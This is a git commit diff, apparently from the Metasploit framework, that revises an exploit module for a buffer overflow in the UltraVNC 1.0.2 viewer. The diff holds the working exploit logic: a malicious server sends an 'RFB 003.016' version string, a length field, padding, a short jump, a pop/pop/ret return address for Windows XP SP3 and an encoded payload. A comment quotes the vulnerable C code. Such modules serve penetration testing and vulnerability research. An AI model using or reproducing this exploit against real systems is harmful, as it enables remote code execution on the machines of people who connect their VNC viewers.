forgot to add renamed module
parent
df116185d4
commit
72cfbaa4d1
|
@ -16,10 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'UltraVNC 1.0.2 Client Buffer Overflow',
|
||||
'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in UltraVNC Win32
|
||||
Viewer 1.0.2 Release.
|
||||
This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
|
||||
|
||||
If a malicious server responds to a client connection indicating a minor
|
||||
protocol version of 14 or 16, a 32-bit integer is subsequently read from
|
||||
|
@ -47,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ],
|
||||
[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Feb 6 2008',
|
||||
|
@ -62,13 +61,30 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def on_client_connect(client)
|
||||
return if ((p = regenerate_payload(client)) == nil)
|
||||
|
||||
sploit = rand_text_alpha(1100) # junk, could be more efficient here
|
||||
sploit << "\x00\x04\x00\x00" # value to get around a write
|
||||
sploit << rand_text_alpha(12) # random junk
|
||||
sploit << "\xEB\x06\x90\x90" # short relative jump
|
||||
sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer)
|
||||
sploit = rand_text_alpha(1100) # junk, could be more efficient here
|
||||
sploit << "\x00\x04\x00\x00" # value to get around a write
|
||||
sploit << rand_text_alpha(12) # random junk
|
||||
sploit << "\xEB\x06" << make_nops(2) # short relative jump
|
||||
sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)
|
||||
sploit << payload.encoded
|
||||
|
||||
=begin
|
||||
We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
|
||||
- These bytes are read directly by a call to ReadExact() with a size of 12.
|
||||
|
||||
...
|
||||
if (m_minorVersion == 14 || m_minorVersion == 16)
|
||||
{
|
||||
int size;
|
||||
ReadExact((char *)&size,sizeof(int));
|
||||
char mytext[1024]; //10k
|
||||
ReadExact(mytext,size);
|
||||
mytext[size]=0;
|
||||
...
|
||||
|
||||
If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
|
||||
We then append our data.
|
||||
=end
|
||||
sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
|
||||
|
||||
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
|
||||
|
|
Loading…
Reference in New Issue